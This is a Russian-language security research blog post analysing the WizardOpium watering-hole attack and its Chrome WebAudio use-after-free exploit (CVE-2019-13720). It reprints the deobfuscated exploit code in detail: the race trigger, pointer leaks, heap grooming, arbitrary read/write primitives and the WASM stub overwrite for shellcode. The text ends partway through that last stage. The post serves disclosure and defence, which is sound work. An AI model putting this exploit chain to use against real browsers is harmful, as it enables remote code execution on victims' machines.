Эксплойты нулевого дня в операции WizardOpium

02 Июн 2020

мин. на чтение

Авторы

Еще в октябре 2019 года мы обнаружили классическую атаку типа watering hole на сайт, публикующий новости Северной Кореи. Злоумышленники использовали цепочку уязвимостей нулевого дня в Google Chrome и Microsoft Windows. В своем блоге мы уже публиковали посты с кратким описанием этой операции (с ними можно ознакомиться здесь и здесь), однако сейчас мы хотели бы углубиться в технические детали эксплойтов и уязвимостей, использованных в этой атаке.

Эксплойт для удаленного выполнения кода в Google Chrome

В первом посте мы описали загрузчик эксплойта, отвечающий за первичную проверку версии браузера и выполнение JavaScript-кода, содержащего полный эксплойт. Он достаточно объемный, так как помимо кода содержит байтовые массивы с шелл-кодом, файл Portable Executable (PE) и модуль WebAssembly (WASM), используемый на следующих стадиях атаки. Зловред использовал уязвимость в интерфейсе WebAudio OfflineAudioContext и предназначался для Google Chrome 76.0.3809.87 и 77.0.3865.75. Однако эта уязвимость существует уже достаточно давно, и гораздо более ранние релизы с компонентом WebAudio тоже ей подвержены. На момент обнаружения эксплойта наиболее актуальной была версия Google Chrome 78. И хотя она также была затронута, эксплойт не поддерживал ее и выполнял ряд проверок, чтобы убедиться, что имеет дело только с целевыми сборками. В противном случае атака могла вызвать сбой в работе браузера. Мы сообщили Google об этой уязвимости, после чего ей был присвоен идентификатор CVE-2019-13720, а сама она была устранена в версии 78.0.3904.87 со следующим коммитом. Use-after-free (UAF) уязвимость, которая может быть вызвана состоянием гонки между потоками Render и Audio:

   if (!buffer) {
+	BaseAudioContext::GraphAutoLocker context_locker(Context());
+	MutexLocker locker(process_lock_);
 	reverb_.reset();
 	shared_buffer_ = nullptr;
 	return;

if (!buffer) {

+ BaseAudioContext::GraphAutoLocker context_locker(Context());

+ MutexLocker locker(process_lock_);

reverb_.reset();

shared_buffer_ = nullptr;

return;

Как видно из кода, когда аудиобуфер в ConvolverNode сбрасывается, а активный буфер уже существует в объекте Reverb, функция SetBuffer() может уничтожить объекты reverb_ и shared_buffer_.

class MODULES_EXPORT ConvolverHandler final : public AudioHandler {
...
  std::unique_ptr<Reverb> reverb_;
  std::unique_ptr<SharedAudioBuffer> shared_buffer_;
...

class MODULES_EXPORT ConvolverHandler final : public AudioHandler {

...

std::unique_ptr<Reverb> reverb_;

std::unique_ptr<SharedAudioBuffer> shared_buffer_;

...

Однако эти объекты могут и дальше использоваться потоком Render, так как в коде не реализована надлежащая синхронизация между двумя потоками. Исправление добавило две недостающих блокировки (graph lock и process lock) на момент сбрасывания буфера.

Код эксплойта был обфусцирован, но мы смогли полностью восстановить его посредством реверс-инжиниринга. Пристальное изучение кода показало, что автор эксплойта хорошо знаком с внутренним устройством отдельных компонентов Google Chrome, в частности с аллокатором памяти PartitionAlloc. Об этом свидетельствуют представленные ниже фрагменты восстановленного кода. Эти функции используются для получения информации из внутренних структур аллокатора, такой как: адрес SuperPage, адрес PartitionPage по индексу внутри SuperPage, индекс используемой PartitionPage и адрес метаданных PartitionPage. Все константы заимствованы из partition_alloc_constants.h:

function getSuperPageBase(addr) {
	let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
	let superPageBaseMask = ~superPageOffsetMask;
	let superPageBase = addr & superPageBaseMask;
	return superPageBase;
}
 
function getPartitionPageBaseWithinSuperPage(addr, partitionPageIndex) {
	let superPageBase = getSuperPageBase(addr);
	let partitionPageBase = partitionPageIndex << BigInt(14);
	let finalAddr = superPageBase + partitionPageBase;
	return finalAddr;
}
 
function getPartitionPageIndex(addr) {
	let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
	let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);
	return partitionPageIndex;
}
 
function getMetadataAreaBaseFromPartitionSuperPage(addr) {
	let superPageBase = getSuperPageBase(addr);
	let systemPageSize = BigInt(0x1000);
	return superPageBase + systemPageSize;
}
 
function getPartitionPageMetadataArea(addr) {
	let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
	let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);
	let pageMetadataSize = BigInt(0x20);
	let partitionPageMetadataPtr = getMetadataAreaBaseFromPartitionSuperPage(addr) + partitionPageIndex * pageMetadataSize;
	return partitionPageMetadataPtr;
}

function getSuperPageBase(addr) {

let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);

let superPageBaseMask = ~superPageOffsetMask;

let superPageBase = addr & superPageBaseMask;

return superPageBase;

}

function getPartitionPageBaseWithinSuperPage(addr, partitionPageIndex) {

let superPageBase = getSuperPageBase(addr);

let partitionPageBase = partitionPageIndex << BigInt(14);

let finalAddr = superPageBase + partitionPageBase;

return finalAddr;

}

function getPartitionPageIndex(addr) {

let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);

let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);

return partitionPageIndex;

}

function getMetadataAreaBaseFromPartitionSuperPage(addr) {

let superPageBase = getSuperPageBase(addr);

let systemPageSize = BigInt(0x1000);

return superPageBase + systemPageSize;

}

function getPartitionPageMetadataArea(addr) {

let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);

let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);

let pageMetadataSize = BigInt(0x20);

let partitionPageMetadataPtr = getMetadataAreaBaseFromPartitionSuperPage(addr) + partitionPageIndex * pageMetadataSize;

return partitionPageMetadataPtr;

}

Интересно, что для работы с 64-битными значениями эксплойт также использует относительно новый встроенный класс BigInt (авторы обычно используют в эксплойтах собственные примитивы).

Сначала код инициализирует OfflineAudioContext и создает большое количество объектов IIRFilterNode, которые инициализируются через два массива данных типа float.

let gcPreventer = [];
let iirFilters = [];
 
function initialSetup() {
	let audioCtx = new OfflineAudioContext(1, 20, 3000);
 
	let feedForward = new Float64Array(2);
	let feedback = new Float64Array(1);
 
	feedback[0] = 1;
	feedForward[0] = 0;
	feedForward[1] = -1;
 
	for (let i = 0; i < 256; i++)
        iirFilters.push(audioCtx.createIIRFilter(feedForward, feedback));
}

let gcPreventer = [];

let iirFilters = [];

function initialSetup() {

let audioCtx = new OfflineAudioContext(1, 20, 3000);

let feedForward = new Float64Array(2);

let feedback = new Float64Array(1);

feedback[0] = 1;

feedForward[0] = 0;

feedForward[1] = -1;

for (let i = 0; i < 256; i++)

iirFilters.push(audioCtx.createIIRFilter(feedForward, feedback));

}

После этого эксплойт приступает к начальной стадии атаки и пытается спровоцировать ошибку UAF. Для этого он создает объекты, необходимые для компонента Reverb, включая еще один огромный объект OfflineAudioContext и два объекта ConvolverNode: ScriptProcessorNode для начала обработки аудио и AudioBuffer для аудиоканала.

async function triggerUaF(doneCb) {
	let audioCtx = new OfflineAudioContext(2, 0x400000, 48000);
	let bufferSource = audioCtx.createBufferSource();
	let convolver = audioCtx.createConvolver();
	let scriptNode = audioCtx.createScriptProcessor(0x4000, 1, 1);
	let channelBuffer = audioCtx.createBuffer(1, 1, 48000);
 
	convolver.buffer = channelBuffer;
	bufferSource.buffer = channelBuffer;
 
	bufferSource.loop = true;
	bufferSource.loopStart = 0;
	bufferSource.loopEnd = 1;
 
	channelBuffer.getChannelData(0).fill(0);
 
	bufferSource.connect(convolver);
	convolver.connect(scriptNode);
	scriptNode.connect(audioCtx.destination);
 
	bufferSource.start();
 
	let finished = false;
 
	scriptNode.onaudioprocess = function(evt) {
    		let channelDataArray = new Uint32Array(evt.inputBuffer.getChannelData(0).buffer);
 
    		for (let j = 0; j < channelDataArray.length; j++) {
        		if (j + 1 < channelDataArray.length && channelDataArray[j] != 0 && channelDataArray[j + 1] != 0) {
            			let u64Array = new BigUint64Array(1);
            			let u32Array = new Uint32Array(u64Array.buffer);
            			u32Array[0] = channelDataArray[j + 0];
            			u32Array[1] = channelDataArray[j + 1];
 
            			let leakedAddr = byteSwapBigInt(u64Array[0]);
            			if (leakedAddr >> BigInt(32) > BigInt(0x8000))
                			leakedAddr -= BigInt(0x800000000000);
             			let superPageBase = getSuperPageBase(leakedAddr);
 
	             		if (superPageBase > BigInt(0xFFFFFFFF) && superPageBase < BigInt(0xFFFFFFFFFFFF)) {
                			finished = true;
                			evt = null;
 
                			bufferSource.disconnect();
                			scriptNode.disconnect();
                			convolver.disconnect();
 
                			setTimeout(function() {
                     			doneCb(leakedAddr);
                			}, 1);
 
                			return;
            			}
        		}
    		}
	};
 
	audioCtx.startRendering().then(function(buffer) {
    		buffer = null;
 
    		if (!finished) {
        	 	finished = true;
       	  	triggerUaF(doneCb);
    		}
	});
 
	while (!finished) {
    		convolver.buffer = null;
    		convolver.buffer = channelBuffer;
    		await later(100); // ждем 100 миллисекунд
	}
};

async function triggerUaF(doneCb) {

let audioCtx = new OfflineAudioContext(2, 0x400000, 48000);

let bufferSource = audioCtx.createBufferSource();

let convolver = audioCtx.createConvolver();

let scriptNode = audioCtx.createScriptProcessor(0x4000, 1, 1);

let channelBuffer = audioCtx.createBuffer(1, 1, 48000);

convolver.buffer = channelBuffer;

bufferSource.buffer = channelBuffer;

bufferSource.loop = true;

bufferSource.loopStart = 0;

bufferSource.loopEnd = 1;

channelBuffer.getChannelData(0).fill(0);

bufferSource.connect(convolver);

convolver.connect(scriptNode);

scriptNode.connect(audioCtx.destination);

bufferSource.start();

let finished = false;

scriptNode.onaudioprocess = function(evt) {

let channelDataArray = new Uint32Array(evt.inputBuffer.getChannelData(0).buffer);

for (let j = 0; j < channelDataArray.length; j++) {

if (j + 1 < channelDataArray.length && channelDataArray[j] != 0 && channelDataArray[j + 1] != 0) {

let u64Array = new BigUint64Array(1);

let u32Array = new Uint32Array(u64Array.buffer);

u32Array[0] = channelDataArray[j + 0];

u32Array[1] = channelDataArray[j + 1];

let leakedAddr = byteSwapBigInt(u64Array[0]);

if (leakedAddr >> BigInt(32) > BigInt(0x8000))

leakedAddr -= BigInt(0x800000000000);

let superPageBase = getSuperPageBase(leakedAddr);

if (superPageBase > BigInt(0xFFFFFFFF) && superPageBase < BigInt(0xFFFFFFFFFFFF)) {

finished = true;

evt = null;

bufferSource.disconnect();

scriptNode.disconnect();

convolver.disconnect();

setTimeout(function() {

doneCb(leakedAddr);

}, 1);

return;

}

};

audioCtx.startRendering().then(function(buffer) {

buffer = null;

if (!finished) {

finished = true;

triggerUaF(doneCb);

}

});

while (!finished) {

convolver.buffer = null;

convolver.buffer = channelBuffer;

await later(100); // ждем 100 миллисекунд

}

};

Эта функция выполняется рекурсивно. Она заполняет буфер аудиоканала нулями, начинает рендеринг в режиме офлайн и в то же время запускает цикл, который обнуляет и сбрасывает буфер канала объекта ConvolverNode, тем самым пытаясь спровоцировать ошибку. Эксплойт использует функцию later() для имитации функции Sleep, приостановки текущего потока и позволяет потокам Render и Audio завершить выполнение вовремя:

function later(delay) {
	return new Promise(resolve => setTimeout(resolve, delay));
}

function later(delay) {

return new Promise(resolve => setTimeout(resolve, delay));

}

Во время выполнения эксплойт проверяет, содержит ли буфер аудиоканала какие-либо данные, отличающиеся от ранее установленных нулей. Наличие таких данных означало бы, что ошибку UAF удалось вызвать и на этом этапе в буфере аудиоканала должен присутствовать «утекший» указатель.

Аллокатор памяти PartitionAlloc располагает специальными средствами защиты от эксплойтов: при освобождении области памяти выполняется перестановка байтов в адресе указателя, после чего такой адрес добавляется в структуру FreeList. Это усложняет эксплуатацию уязвимости, так как попытка разыменования подобного указателя приведет к сбою процесса. Для обхода этой техники эксплойт использует следующий примитив, который просто выполняет обратную перестановку байтов в адресе указателя:

function byteSwapBigInt(x) {
	let result = BigInt(0);
	let tmp = x;
 
	for (let i = 0; i < 8; i++) {
    		result = result << BigInt(8);
    		result += tmp & BigInt(0xFF);
    		tmp = tmp >> BigInt(8);
	}
 
	return result;
}

function byteSwapBigInt(x) {

let result = BigInt(0);

let tmp = x;

for (let i = 0; i < 8; i++) {

result = result << BigInt(8);

result += tmp & BigInt(0xFF);

tmp = tmp >> BigInt(8);

}

return result;

}

Эксплойт использует «утекший» указатель для получения адреса структуры SuperPage и проверяет его. Если все идет по плану, то это должен быть «сырой» указатель на объект temporary_buffer_ класса ReverbConvolverStage, который передается в функцию обратного вызова initialUAFCallback.

let sharedAudioCtx;
let iirFilterFeedforwardAllocationPtr;
 
function initialUAFCallback(addr) {
	sharedAudioCtx = new OfflineAudioContext(1, 1, 3000);
 
	let partitionPageIndexDelta = undefined;
	switch (majorVersion) {
    		case 77: // 77.0.3865.75
        	 	partitionPageIndexDelta = BigInt(-26);
        	break;
    		case 76: // 76.0.3809.87
         		partitionPageIndexDelta = BigInt(-25);
      	   	break;
	}
 
	iirFilterFeedforwardAllocationPtr = getPartitionPageBaseWithinSuperPage(addr, getPartitionPageIndex(addr) + partitionPageIndexDelta) + BigInt(0xFF0);
 
    triggerSecondUAF(byteSwapBigInt(iirFilterFeedforwardAllocationPtr), finalUAFCallback);
}

let sharedAudioCtx;

let iirFilterFeedforwardAllocationPtr;

function initialUAFCallback(addr) {

sharedAudioCtx = new OfflineAudioContext(1, 1, 3000);

let partitionPageIndexDelta = undefined;

switch (majorVersion) {

case 77: // 77.0.3865.75

partitionPageIndexDelta = BigInt(-26);

break;

case 76: // 76.0.3809.87

partitionPageIndexDelta = BigInt(-25);

break;

}

iirFilterFeedforwardAllocationPtr = getPartitionPageBaseWithinSuperPage(addr, getPartitionPageIndex(addr) + partitionPageIndexDelta) + BigInt(0xFF0);

triggerSecondUAF(byteSwapBigInt(iirFilterFeedforwardAllocationPtr), finalUAFCallback);

}

Эксплойт использует «утекший» указатель для получения адреса «сырого» указателя на массив feedforward_ с типом данных AudioArray<double>, который присутствует в объекте IIRProcessor, созданном с помощью IIRFilterNode. Этот массив должен находиться в той же структуре SuperPage, однако в разных версиях Chrome этот объект попадает в разные PartitionPage, поэтому внутри initialUAFCallback находится специальный код для высчитывания корректного адреса.

По факту уязвимость инициируется не один раз, а дважды. После получения адреса правильного объекта уязвимость используется снова. На этот раз эксплойт использует два объекта AudioBuffer разных размеров, а ранее полученный адрес помещается в большой AudioBuffer. Эта функция также выполняется рекурсивно.

let floatArray = new Float32Array(10);
let audioBufferArray1 = [];
let audioBufferArray2 = [];
let imageDataArray = [];
 
async function triggerSecondUAF(addr, doneCb) {
	let counter = 0;
	let numChannels = 1;
 
	let audioCtx = new OfflineAudioContext(1, 0x100000, 48000);
 
	let bufferSource = audioCtx.createBufferSource();
	let convolver = audioCtx.createConvolver();
 
	let bigAudioBuffer = audioCtx.createBuffer(numChannels, 0x100, 48000);
	let smallAudioBuffer = audioCtx.createBuffer(numChannels, 0x2, 48000);
 
	smallAudioBuffer.getChannelData(0).fill(0);
 
	for (let i = 0; i < numChannels; i++) {
    		let channelDataArray = new BigUint64Array(bigAudioBuffer.getChannelData(i).buffer);
    		channelDataArray[0] = addr;
	}
 
	bufferSource.buffer = bigAudioBuffer;
	convolver.buffer = smallAudioBuffer;
 
	bufferSource.loop = true;
	bufferSource.loopStart = 0;
	bufferSource.loopEnd = 1;
 
	bufferSource.connect(convolver);
	convolver.connect(audioCtx.destination);
 
	bufferSource.start();
 
	let finished = false;
 
     	audioCtx.startRendering().then(function(buffer) {
     		buffer = null;
 
    		if (finished) {
        		audioCtx = null;
 
        		setTimeout(doneCb, 200);
        		return;
    		} else {
        		finished = true;
 
        		setTimeout(function() {
             		triggerSecondUAF(addr, doneCb);
        		}, 1);
    		}
	});
 
	while (!finished) {
    		counter++;
 
    		convolver.buffer = null;
 
    		await later(1); // ждем 1 миллисекунду
 
    		if (finished)
         		break;
 
    		for (let i = 0; i < iirFilters.length; i++) {
        		floatArray.fill(0);
          	   iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);
 
         		if (floatArray[0] != 3.1415927410125732) {
             			finished = true;
 
             	     		audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
                 		audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
 
            			bufferSource.disconnect();
            			convolver.disconnect();
 
            			return;
        		}
    		}
 
    		convolver.buffer = smallAudioBuffer;
 
    		await later(1); // ждем 1 миллисекунду
	}
}

let floatArray = new Float32Array(10);

let audioBufferArray1 = [];

let audioBufferArray2 = [];

let imageDataArray = [];

async function triggerSecondUAF(addr, doneCb) {

let counter = 0;

let numChannels = 1;

let audioCtx = new OfflineAudioContext(1, 0x100000, 48000);

let bufferSource = audioCtx.createBufferSource();

let convolver = audioCtx.createConvolver();

let bigAudioBuffer = audioCtx.createBuffer(numChannels, 0x100, 48000);

let smallAudioBuffer = audioCtx.createBuffer(numChannels, 0x2, 48000);

smallAudioBuffer.getChannelData(0).fill(0);

for (let i = 0; i < numChannels; i++) {

let channelDataArray = new BigUint64Array(bigAudioBuffer.getChannelData(i).buffer);

channelDataArray[0] = addr;

}

bufferSource.buffer = bigAudioBuffer;

convolver.buffer = smallAudioBuffer;

bufferSource.loop = true;

bufferSource.loopStart = 0;

bufferSource.loopEnd = 1;

bufferSource.connect(convolver);

convolver.connect(audioCtx.destination);

bufferSource.start();

let finished = false;

audioCtx.startRendering().then(function(buffer) {

buffer = null;

if (finished) {

audioCtx = null;

setTimeout(doneCb, 200);

return;

} else {

finished = true;

setTimeout(function() {

triggerSecondUAF(addr, doneCb);

}, 1);

}

});

while (!finished) {

counter++;

convolver.buffer = null;

await later(1); // ждем 1 миллисекунду

if (finished)

break;

for (let i = 0; i < iirFilters.length; i++) {

floatArray.fill(0);

iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);

if (floatArray[0] != 3.1415927410125732) {

finished = true;

audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));

bufferSource.disconnect();

convolver.disconnect();

return;

}

convolver.buffer = smallAudioBuffer;

await later(1); // ждем 1 миллисекунду

}

В этот раз эксплойт использует функцию getFrequencyResponse() для проверки успешности эксплуатации уязвимости. Эта функция создает массив частот, который заполняется с помощью фильтра Найквиста, а исходный массив для данной операции заполняется нулями.

void IIRDSPKernel::GetFrequencyResponse(int n_frequencies,
                                    	const float* frequency_hz,
                                    	float* mag_response,
                                    	float* phase_response) {
...
  Vector<float> frequency(n_frequencies);
  double nyquist = this->Nyquist();
  // конвертируем из частоты в Гц в нормализованную частоту (0 -> 1),
  // где 1 соответствует частоте Найквиста.
  for (int k = 0; k < n_frequencies; ++k)
	frequency[k] = frequency_hz[k] / nyquist;
...

void IIRDSPKernel::GetFrequencyResponse(int n_frequencies,

const float* frequency_hz,

float* mag_response,

float* phase_response) {

...

Vector<float> frequency(n_frequencies);

double nyquist = this->Nyquist();

// конвертируем из частоты в Гц в нормализованную частоту (0 -> 1),

// где 1 соответствует частоте Найквиста.

for (int k = 0; k < n_frequencies; ++k)

frequency[k] = frequency_hz[k] / nyquist;

...

Если результирующий массив содержит значение, отличное от π, значит, эксплойт сработал успешно. В этом случае эксплойт останавливает рекурсию и выполняет функцию finalUAFCallback, чтобы снова выделить память под буфер аудиоканала который, займет освобожденный ранее адрес. Эта функция также восстанавливает память кучи для предотвращения возможных сбоев путем размещения в памяти объектов разного размера и выполнения дефрагментации памяти кучи. Эксплойт также создает массив BigUint64Array, который позже используется для создания примитива произвольного чтения и записи памяти.

async function finalUAFCallback() {
	for (let i = 0; i < 256; i++) {
    		floatArray.fill(0);
 
         	iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);
 
    		if (floatArray[0] != 3.1415927410125732) {
        		await collectGargabe();
 
        		audioBufferArray2 = [];
 
        		for (let j = 0; j < 80; j++)
                 		audioBufferArray1.push(sharedAudioCtx.createBuffer(1, 2, 10000));
 
        		iirFilters = new Array(1);
    	     		await collectGargabe();
 
        		for (let j = 0; j < 336; j++)
            			imageDataArray.push(new ImageData(1, 2));
        		imageDataArray = new Array(10);
        		await collectGargabe();
 
        		for (let j = 0; j < audioBufferArray1.length; j++) {
            			let auxArray = new BigUint64Array(audioBufferArray1[j].getChannelData(0).buffer);
            			if (auxArray[0] != BigInt(0)) {
                			kickPayload(auxArray);
                			return;
            			}
             		}
 
        		return;
    		}
	}
}

async function finalUAFCallback() {

for (let i = 0; i < 256; i++) {

floatArray.fill(0);

iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);

if (floatArray[0] != 3.1415927410125732) {

await collectGargabe();

audioBufferArray2 = [];

for (let j = 0; j < 80; j++)

audioBufferArray1.push(sharedAudioCtx.createBuffer(1, 2, 10000));

iirFilters = new Array(1);

await collectGargabe();

for (let j = 0; j < 336; j++)

imageDataArray.push(new ImageData(1, 2));

imageDataArray = new Array(10);

await collectGargabe();

for (let j = 0; j < audioBufferArray1.length; j++) {

let auxArray = new BigUint64Array(audioBufferArray1[j].getChannelData(0).buffer);

if (auxArray[0] != BigInt(0)) {

kickPayload(auxArray);

return;

}

return;

}

Дефрагментация кучи выполняется посредством нескольких вызовов импровизированной функции collectGarbage, которая создает в цикле огромный ArrayBuffer.

function collectGargabe() {
	let promise = new Promise(function(cb) {
    		let arg;
    		for (let i = 0; i < 400; i++)
        		new ArrayBuffer(1024 * 1024 * 60).buffer;
    		cb(arg);
	});
	return promise;
}

function collectGargabe() {

let promise = new Promise(function(cb) {

let arg;

for (let i = 0; i < 400; i++)

new ArrayBuffer(1024 * 1024 * 60).buffer;

cb(arg);

});

return promise;

}

После этих шагов эксплойт выполняет функцию kickPayload(), передавая ранее созданный массив BigUint64Array, содержащий адрес «сырого» указателя ранее освобожденных данных AudioArray.

async function kickPayload(auxArray) {
	let audioCtx = new OfflineAudioContext(1, 1, 3000);
	let partitionPagePtr = getPartitionPageMetadataArea(byteSwapBigInt(auxArray[0]));
	auxArray[0] = byteSwapBigInt(partitionPagePtr);
	let i = 0;
	do {
    		gcPreventer.push(new ArrayBuffer(8));
    		if (++i > 0x100000)
        		return;
	} while (auxArray[0] != BigInt(0));
	let freelist = new BigUint64Array(new ArrayBuffer(8));
	gcPreventer.push(freelist);
	...

async function kickPayload(auxArray) {

let audioCtx = new OfflineAudioContext(1, 1, 3000);

let partitionPagePtr = getPartitionPageMetadataArea(byteSwapBigInt(auxArray[0]));

auxArray[0] = byteSwapBigInt(partitionPagePtr);

let i = 0;

do {

gcPreventer.push(new ArrayBuffer(8));

if (++i > 0x100000)

return;

} while (auxArray[0] != BigInt(0));

let freelist = new BigUint64Array(new ArrayBuffer(8));

gcPreventer.push(freelist);

...

Эксплойт манипулирует метаданными PartitionPage освобожденного объекта, чтобы вызвать следующее поведение: если адрес другого объекта записывается в массив BigUint64Array с нулевым индексом и при этом создается новый 8-байтовый объект, а затем считывается значение, расположенное по индексу 0, то в этом случае будет считано значение, расположенное по ранее установленному адресу. Если на этом этапе что-то записывается с индексом 0, то это значение будет записано по ранее установленному адресу.

function read64(rwHelper, addr) {
	rwHelper[0] = addr;
	var tmp = new BigUint64Array;
	tmp.buffer;
	gcPreventer.push(tmp);
	return byteSwapBigInt(rwHelper[0]);
}
 
function write64(rwHelper, addr, value) {
	rwHelper[0] = addr;
	var tmp = new BigUint64Array(1);
	tmp.buffer;
	tmp[0] = value;
	gcPreventer.push(tmp);
}

function read64(rwHelper, addr) {

rwHelper[0] = addr;

var tmp = new BigUint64Array;

tmp.buffer;

gcPreventer.push(tmp);

return byteSwapBigInt(rwHelper[0]);

}

function write64(rwHelper, addr, value) {

rwHelper[0] = addr;

var tmp = new BigUint64Array(1);

tmp.buffer;

tmp[0] = value;

gcPreventer.push(tmp);

}

После создания примитивов произвольного чтения и записи памяти наступает финальная стадия — выполнение кода. Эксплойт достигает этого с помощью популярной техники с использованием функциональности Web Assembly (WASM). В настоящее время Google Chrome выделяет страницы для кода, полученного методом JIT-компиляции, с правами на чтение, запись и исполнение (RWX), что позволяет перезаписать их шелл-кодом. Сначала эксплойт инициирует фиктивный модуль WASM, в результате чего выделяются страницы памяти для JIT-кода.

const wasmBuffer = new Uint8Array([...]);
const wasmBlob = new Blob([wasmBuffer], {
	type: "application/wasm"
});
 
const wasmUrl = URL.createObjectURL(wasmBlob);
var wasmFuncA = undefined;
WebAssembly.instantiateStreaming(fetch(wasmUrl), {}).then(function(result) {
	wasmFuncA = result.instance.exports.a;
});

const wasmBuffer = new Uint8Array([...]);

const wasmBlob = new Blob([wasmBuffer], {

type: "application/wasm"

});

const wasmUrl = URL.createObjectURL(wasmBlob);

var wasmFuncA = undefined;

WebAssembly.instantiateStreaming(fetch(wasmUrl), {}).then(function(result) {

wasmFuncA = result.instance.exports.a;

});

Для выполнения экспортированной функции wasmFuncA эксплойт создает объект FileReader. Когда он инициализируется данными, он создает внутри объект FileReaderLoader. Если вы можете работать со структурой аллокатора PartitionAlloc и знаете размер следующего размещаемого в памяти объекта, то вы можете предсказать, по какому адресу он будет размещен. Эксплойт использует функцию getPartitionPageFreeListHeadEntryBySlotSize() с указанным размером и получает адрес следующего свободного блока, который будет занят FileReaderLoader.

let fileReader = new FileReader;
let fileReaderLoaderSize = 0x140;
let fileReaderLoaderPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);
if (!fileReaderLoaderPtr)
	return;
 
fileReader.readAsArrayBuffer(new Blob([]));
 
let fileReaderLoaderTestPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);
if (fileReaderLoaderPtr == fileReaderLoaderTestPtr)
	return;

let fileReader = new FileReader;

let fileReaderLoaderSize = 0x140;

let fileReaderLoaderPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);

if (!fileReaderLoaderPtr)

return;

fileReader.readAsArrayBuffer(new Blob([]));

let fileReaderLoaderTestPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);

if (fileReaderLoaderPtr == fileReaderLoaderTestPtr)

return;

Эксплойт получает этот адрес дважды, чтобы узнать, был ли создан объект FileReaderLoader и может ли эксплойт продолжить выполнение. Эксплойт превращает экспортированную функцию WASM в функцию обратного вызова для события FileReader (конкретно в этом случае для события onerror), а поскольку тип FileReader является производным от EventTargetWithInlineData, его можно использовать для получения адресов всех его событий и адреса скомпилированной на лету экспортированной функции WASM.

fileReader.onerror = wasmFuncA;
 
let fileReaderPtr = read64(freelist, fileReaderLoaderPtr + BigInt(0x10)) - BigInt(0x68);
 
let vectorPtr = read64(freelist, fileReaderPtr + BigInt(0x28));
let registeredEventListenerPtr = read64(freelist, vectorPtr);
let eventListenerPtr = read64(freelist, registeredEventListenerPtr);
let eventHandlerPtr = read64(freelist, eventListenerPtr + BigInt(0x8));
let jsFunctionObjPtr = read64(freelist, eventHandlerPtr + BigInt(0x8));
 
let jsFunctionPtr = read64(freelist, jsFunctionObjPtr) - BigInt(1);
let sharedFuncInfoPtr = read64(freelist, jsFunctionPtr + BigInt(0x18)) - BigInt(1);
let wasmExportedFunctionDataPtr = read64(freelist, sharedFuncInfoPtr + BigInt(0x8)) - BigInt(1);
let wasmInstancePtr = read64(freelist, wasmExportedFunctionDataPtr + BigInt(0x10)) - BigInt(1);
 
let stubAddrFieldOffset = undefined;
switch (majorVersion) {
	case 77:
    		stubAddrFieldOffset = BigInt(0x8) * BigInt(16);
	break;
	case 76:
    		stubAddrFieldOffset = BigInt(0x8) * BigInt(17);
	break
}
 
let stubAddr = read64(freelist, wasmInstancePtr + stubAddrFieldOffset);

fileReader.onerror = wasmFuncA;

let fileReaderPtr = read64(freelist, fileReaderLoaderPtr + BigInt(0x10)) - BigInt(0x68);

let vectorPtr = read64(freelist, fileReaderPtr + BigInt(0x28));

let registeredEventListenerPtr = read64(freelist, vectorPtr);

let eventListenerPtr = read64(freelist, registeredEventListenerPtr);

let eventHandlerPtr = read64(freelist, eventListenerPtr + BigInt(0x8));

let jsFunctionObjPtr = read64(freelist, eventHandlerPtr + BigInt(0x8));

let jsFunctionPtr = read64(freelist, jsFunctionObjPtr) - BigInt(1);

let sharedFuncInfoPtr = read64(freelist, jsFunctionPtr + BigInt(0x18)) - BigInt(1);

let wasmExportedFunctionDataPtr = read64(freelist, sharedFuncInfoPtr + BigInt(0x8)) - BigInt(1);

let wasmInstancePtr = read64(freelist, wasmExportedFunctionDataPtr + BigInt(0x10)) - BigInt(1);

let stubAddrFieldOffset = undefined;

switch (majorVersion) {

case 77:

stubAddrFieldOffset = BigInt(0x8) * BigInt(16);

break;

case 76:

stubAddrFieldOffset = BigInt(0x8) * BigInt(17);

break

}

let stubAddr = read64(freelist, wasmInstancePtr + stubAddrFieldOffset);

Переменная stubAddr содержит адрес страницы с кодом заглушки, который переходит на функцию WASM, полученную методом JIT-компиляции. На данном этапе достаточно перезаписать его шелл-кодом. Для этого эксплойт снова использует функцию getPartitionPageFreeListHeadEntryBySlotSize(), чтобы найти следующий свободный блок размером 0x20 байт, что соответствует размеру структуры для объекта ArrayBuffer. Этот объект создается, когда эксплойт создает новый аудиобуфер.

let arrayBufferSize = 0x20;
let arrayBufferPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, arrayBufferSize);
if (!arrayBufferPtr)
	return;
 
let audioBuffer = audioCtx.createBuffer(1, 0x400, 6000);
gcPreventer.push(audioBuffer);

let arrayBufferSize = 0x20;

let arrayBufferPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, arrayBufferSize);

if (!arrayBufferPtr)

return;

let audioBuffer = audioCtx.createBuffer(1, 0x400, 6000);

gcPreventer.push(audioBuffer);

Эксплойт использует примитивы произвольного чтения и записи для получения адреса класса DataHolder, который содержит «сырой» указатель на данные и размер аудиобуфера. Эксплойт перезаписывает этот указатель с помощью stubAddr и задает для него огромный размер.

let dataHolderPtr = read64(freelist, arrayBufferPtr + BigInt(0x8));
 
